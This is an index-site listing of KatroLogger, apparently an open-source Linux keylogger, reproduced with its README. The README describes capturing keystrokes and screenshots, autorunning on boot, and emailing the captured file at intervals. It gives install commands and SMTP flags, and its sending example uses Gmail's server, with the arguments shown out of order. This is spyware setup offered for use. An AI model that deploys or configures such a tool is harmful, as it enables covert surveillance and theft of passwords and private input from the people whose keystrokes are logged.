Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/Katrovisch/KatroLogger
KeyLogger for Linux Systems
https://github.com/Katrovisch/KatroLogger
Last synced: 22 days ago
JSON representation
KeyLogger for Linux Systems
- Host: GitHub
- URL: https://github.com/Katrovisch/KatroLogger
- Owner: Katrovisch
- License: gpl-3.0
- Created: 2020-02-23T17:24:09.000Z (almost 5 years ago)
- Default Branch: master
- Last Pushed: 2021-08-22T15:38:02.000Z (over 3 years ago)
- Last Synced: 2024-08-05T17:23:59.851Z (4 months ago)
- Language: C
- Size: 41 KB
- Stars: 72
- Watchers: 6
- Forks: 19
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
- awesome-hacking-lists - Katrovisch/KatroLogger - KeyLogger for Linux Systems (C)
README
---
KeyLogger for Linux Systems
### Features
- Runs on GUI systems or CLI
- Sending data by email
- Autorun on boot
- Screenshots### Dependencies
- [libcurl](https://curl.se/libcurl/)
- [Cairo graphics library](https://www.cairographics.org/)
- [libquickmail](https://sourceforge.net/projects/libquickmail/)Install libquickmail:
```Shell
wget https://ufpr.dl.sourceforge.net/project/libquickmail/libquickmail-0.1.29.tar.xz
```
```Shell
tar -xvf libquickmail-0.1.29.tar.xz
```
```Shell
./autogen.sh && ./configure && make && make install
```### Install
```Shell
./configure && make && make install
```### Usage
```Shell
katrologger --output /path/file
```
### Send data by e-mail| Argument | Description |
|---|---|
| --smtp-status | email sending status |
| --smtp-url | SMTP server |
| --smtps-url | SMTPS server |
| --port | SMTP port|
| --mail-from | source email |
| --pass | password email |
| --mail-rcpt | receipt email |
| --smtp-file | attach key capture file for sending |
| --update | update interval for sending email, 1-60 (minutes) |
| --screen | screenshots (:0 is display default) |```Shell
--mail-rcpt --pass --smtp-file /path/keyscan --time 10
katrologger --smtps-url smtp.gmail.com --port 465 --mail-from
```### Uninstall
```Shell
make uninstall
```### License
KatroLogger is licensed under the [GNU General Public License v3.0](https://github.com/Katrovisch/KatroLogger/blob/master/LICENSE)